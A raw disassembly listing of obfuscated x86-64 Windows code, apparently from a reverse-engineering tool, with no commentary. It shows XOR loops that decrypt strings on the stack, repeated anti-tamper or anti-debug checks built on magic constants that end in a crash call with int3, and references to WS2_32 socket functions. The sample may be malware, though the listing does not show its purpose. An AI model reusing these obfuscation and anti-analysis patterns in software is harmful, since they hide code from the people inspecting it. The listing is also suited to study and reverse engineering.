mov byte [rbp + 0x27a], 0xca
mov byte [rbp + 0x27b], reloc.WS2_32.dll_setsockopt
xor eax, eax
mov byte [rbp + 0x27c], al
mov r8, rbx
movabs rsi, 0x1110daaf0
movabs rbx, 0x1110daaef
lea r9d, [rax + 0xc]
movabs r10, 0x1999480680
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r13
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r13
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x270]
xor dil, r8b
mov byte [rbp + r8 + 0x270], dil
add r8, r15
add r13, rsi
add r9, 0xc
cmp r13, r10
jb 0x1400589e7
xor ebx, ebx
mov byte [rbp + 0x27c], bl
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x1030]
call fcn.14006b9c0
mov rcx, qword gs:[0x3f]
test al, al
mov esi, 0xfd6ccd6d
je 0x1400592c9
cmp rcx, r12
jne 0x140058b88
mov r8d, ebx
mov rcx, r15
lea r9d, [rbx + 5]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x140058a90
mov r9d, 0x930f525f
xor rdi, r9
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd10]
and rdx, rax
mov rcx, qword [rbp + 0xd20]
and rcx, rdx
mov rax, qword [rbp + 0xd18]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140058e2c
add edi, r15d
cmp edi, 7
jl 0x140058b26
movdqa xmm0, xmmword [0x140123210]
movdqa xmmword [rbp + 0xb50], xmm0
movdqa xmm1, xmmword [0x140123540]
movdqa xmmword [rbp + 0xb60], xmm1
movdqa xmm0, xmmword [0x1401232a0]
movdqa xmmword [rbp + 0xb70], xmm0
movdqa xmm1, xmmword [str.gQ_b]
movdqa xmmword [rbp + 0xb80], xmm1
movdqa xmm0, xmmword [0x140123230]
movdqa xmmword [rbp + 0xb90], xmm0
movdqa xmm1, xmmword [0x1401234e0]
movdqa xmmword [rbp + 0xba0], xmm1
movdqa xmm0, xmmword [0x1401231e0]
movdqa xmmword [rbp + 0xbb0], xmm0
mov byte [rbp + 0xbc0], 0xa6
mov byte [rbp + 0xbc1], 0x90
xor eax, eax
mov byte [rbp + 0xbc2], al
mov r8, rbx
movabs rsi, 0x1110daaf0
movabs rbx, 0x1110daaef
lea r10d, [rax + 0x72]
movabs r9, 0x7998161ee0
movabs r13, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb50], dil
add r8, r15
add r9, rsi
add r10, 0x72
movabs rax, 0xf3302c3dc0
cmp r9, rax
jb 0x140058c3d
xor ebx, ebx
mov byte [rbp + 0xbc2], bl
mov r8d, r15d
xor edx, edx
lea rcx, [rbp + 0xb50]
call fcn.140052010
mov rax, qword gs:[0x3f]
cmp rax, r12
mov esi, 0xfd6ccd6d
mov r10d, 0x2aaaaaab
jne 0x140058e42
mov edi, esi
mov r8d, ebx
mov r9d, ebx
mov esi, 0xfeefbfff
mov r13d, 0x930f525f
mov ecx, r9d
mov rdx, r12
shl rdx, cl
mov rax, r13
sar rax, cl
or rdx, rax
xor rdi, rdx
lea ecx, [r9 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, rdi
and rax, rsi
xor rcx, rax
add r8, rcx
add r9d, r15d
cmp r9d, 8
jl 0x140058ced
xor rdi, r8
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [rdi + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rax, qword gs:[rcx]
mov r9d, 0xdeadbeef
or r8, r9
xor rax, r8
mov ecx, 0x809295fd
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov eax, 0x8b3f65f0
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs r13, 0x8080808080808081
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140058e37
add edi, r15d
cmp edi, 5
jl 0x140058dad
jmp 0x140058e48
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r9d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140058f72
mov rdi, rbx
movabs r13, 0x5684fef9ad4a0fe0
sub r14d, r15d
lea ecx, [r14 + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r14d
and ecx, 0x80000003
jge 0x140058ea0
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r13
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r14d, r14d
jne 0x140058e67
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
or rax, r9
xor rcx, rax
mov r14d, 0x930f525f
xor rcx, r14
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs r13, 0x8080808080808081
lea ecx, [rdi + 0x7dfe5890]
mov eax, r10d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400592a8
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140058f0e
movdqa xmm0, xmmword [0x1401233b0]
movdqu xmmword [rbp + 0xa18], xmm0
movdqa xmm1, xmmword [0x140123350]
movdqu xmmword [rbp + 0xa28], xmm1
movdqa xmm0, xmmword [0x1401231a0]
movdqu xmmword [rbp + 0xa38], xmm0
mov r8, rbx
movabs rsi, 0x1110daaf0
mov r10d, Ordinal_50
movabs r9, 0x3221826210
movabs r14, 0x1110daaef
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xa18]
xor dil, r8b
mov byte [rbp + r8 + 0xa18], dil
add r8, r15
add r9, rsi
add r10, 0x2f
movabs rax, 0x644304c420
cmp r9, rax
jb 0x140058fc9
mov byte [rbp + 0xa47], bl
lea rcx, [rbp + 0xa18]
call fcn.1400e0620
mov rax, qword gs:[0x3f]
cmp rax, r12
mov esi, 0xfd6ccd6d
mov r14d, 0x930f525f
jne 0x140059166
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add r8, rax
mov rdi, qword gs:[0x50]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x140059073
xor rdi, r14
imul rcx, rdi, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r14
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov r9d, 0xdeadbeef
or rax, r9
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400592b3
add edi, r15d
cmp edi, 7
jl 0x140059104
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140054b03
mov rdi, rbx
mov r8d, ebx
mov r9d, 0xfeefbfff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r14
sar rax, cl
or rdx, rax
xor rsi, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, rsi
and rax, r9
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x140059184
mov rdx, rdi
xor rdx, rsi
mov rcx, rdx
xor rcx, rdi
mov qword [rbp + 0xd10], rcx
lea rcx, [rdx + 0x7dfe5890]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r9d, 0xdeadbeef
or rax, r9
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
lea ecx, [rbx + 0x7dfe5890]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, ebx, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400592be
add ebx, r15d
cmp ebx, 5
jl 0x140059245
jmp 0x140054b03
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r13d, 0x2aaaaaab
cmp rcx, r12
jne 0x140059412
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov esi, 0x930f525f
mov ebx, 0xfeefbfff
mov rdx, rsi
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x1400592eb
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
xor ebx, ebx
mov edi, ebx
mov esi, 0xfd6ccd6d
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005957b
add edi, r15d
cmp edi, 5
jl 0x1400593b2
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x8a0]
call fcn.14006996c
mov rdx, rax
lea rcx, [rbp + 0x8c0]
call fcn.1400537c0
mov rdx, rax
lea rcx, [rbp + 0x1030]
call fcn.140069848
lea rcx, [rbp + 0x8c0]
call fcn.1400697d0
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140059591
mov rdi, rbx
mov r8d, r14d
movabs rsi, 0x5684fef9ad4a0fe0
sub r8d, r15d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x1400594aa
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140059471
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov r14d, 0x930f525f
xor rcx, r14
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
mov esi, 0xfd6ccd6d
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140059586
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x140059519
jmp 0x140059597
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r14d, 0x930f525f
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x1400596d9
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r10d, 0xfeefbfff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r14
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r10
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x1400595b8
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140059a9e
add edi, r15d
cmp edi, 5
jl 0x140059679
lea rcx, [rbp + 0xfd0]
call fcn.140069710
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x1400597f7
mov rdi, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r15
sub r9, r15
jne 0x140059703
xor r8, r14
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r14
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140059aa9
add edi, r15d
cmp edi, 7
jl 0x140059797
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140059939
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r10d, 0xfeefbfff
mov ecx, r8d
mov rdx, r12
shl rdx, cl
mov rax, r14
sar rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r10
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x140059818
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140059ab4
add edi, r15d
cmp edi, 5
jl 0x1400598d9
lea rcx, [rbp + 0x1030]
call fcn.140069680
mov rcx, rax
call fcn.1400e0a28
mov r14, rax
mov qword [rbp + 0x30], rax
mov rcx, qword gs:[0x3f]
mov r10d, 0x930f525f
cmp rcx, r12
jne 0x140059aca
mov r9, rsi
mov rdi, rbx
mov r8d, ebx
mov r14d, 0xfeefbfff
mov rdx, r10
mov ecx, r8d
sar rdx, cl
mov rax, r12
shl rax, cl
or rdx, rax
xor r9, rdx
lea ecx, [r8 + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rcx, qword gs:[rcx]
mov rax, r9
and rax, r14
xor rcx, rax
add rdi, rcx
add r8d, r15d
cmp r8d, 8
jl 0x14005997b
mov rcx, rdi
xor rcx, r9
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, 0x7dfe5890
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r11d, 0xdeadbeef
or rax, r11
xor rcx, rax
mov eax, 0x809295fd
xor rcx, rax
mov qword [rbp + 0xd18], rcx
xor edi, edi
mov eax, 0x8b3f65f0
xor rdi, rax
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14, qword [rbp + 0x30]
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140059abf
add edi, r15d
cmp edi, 5
jl 0x140059a40
jmp 0x140059ad0
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400d8a48
int3
mov r11d, 0xdeadbeef
mov rax, qword gs:[0x3f]
cmp rax, r12
jne 0x140059bdc
mov rdi, rbx
mov rcx, r15
mov r9d, 5
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
add rcx, r15
sub r9, r15
jne 0x140059aee
xor r8, r10
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r10
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
or rax, r11
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r12
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
mov eax, r13d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14005a0fe
add edi, r15d
cmp edi, 7
jl 0x140059b7c
lea rcx, [rbp + 0x1030]
call fcn.140069680
mov r15, rax
mov qword [rsp + 0x60], rax
mov rcx, qword gs:[0x3f]
mov r13d, reloc.WS2_32.dll_recv
cmp rcx, r12
jne 0x140059d24
mov rdi, rbx
mov r8d, r13d
mov r9d, 0x2aaaaaab
movabs r14, 0x5684fef9ad4a0fe0
dec r8d
lea ecx, [r8 + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140059c55
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r14
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140059c1e
mov rax, rdi
xor rax, rdi
xor rax, r12
mov qword [rbp + 0xd10], rax
mov rcx, rdi
or rcx, 0x6e639f32
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0x930f525f
xor rcx, rax
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x2018722
or rax, r12
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
mov r14, qword [rbp + 0x30]
lea ecx, [rdi + 0x7dfe5890]
mov eax, r9d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 5
sub ecx, eax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14005a109
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x140059cc1
movabs r12, 0x411041bb30
movabs r11, 0x8220837660
test r14, r14
je 0x140059d46
test r15, r15
jne 0x14005a12a
mov rax, qword gs:[0x3f]
mov r10d, 0x7dfe5890
cmp rax, r10
jne 0x140059e65
mov rdi, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov eax, 0x6e639f32
cqo
idiv rcx
imul rax, rdx, 0x7dfe5890
add rdi, rax
mov r8, qword gs:[0x50]
movzx eax, dil
xor r8, rax
inc rcx
sub r9, 1
jne 0x140059d6a
mov r9d, 0x930f525f
xor r8, r9
imul rcx, r8, 0x6e639f32
movabs rax, 0x37b488b43a9ceb5d
imul rcx
sar rdx, 0x1d
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r10
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
lea ecx, [rdi + 0x7dfe5890]
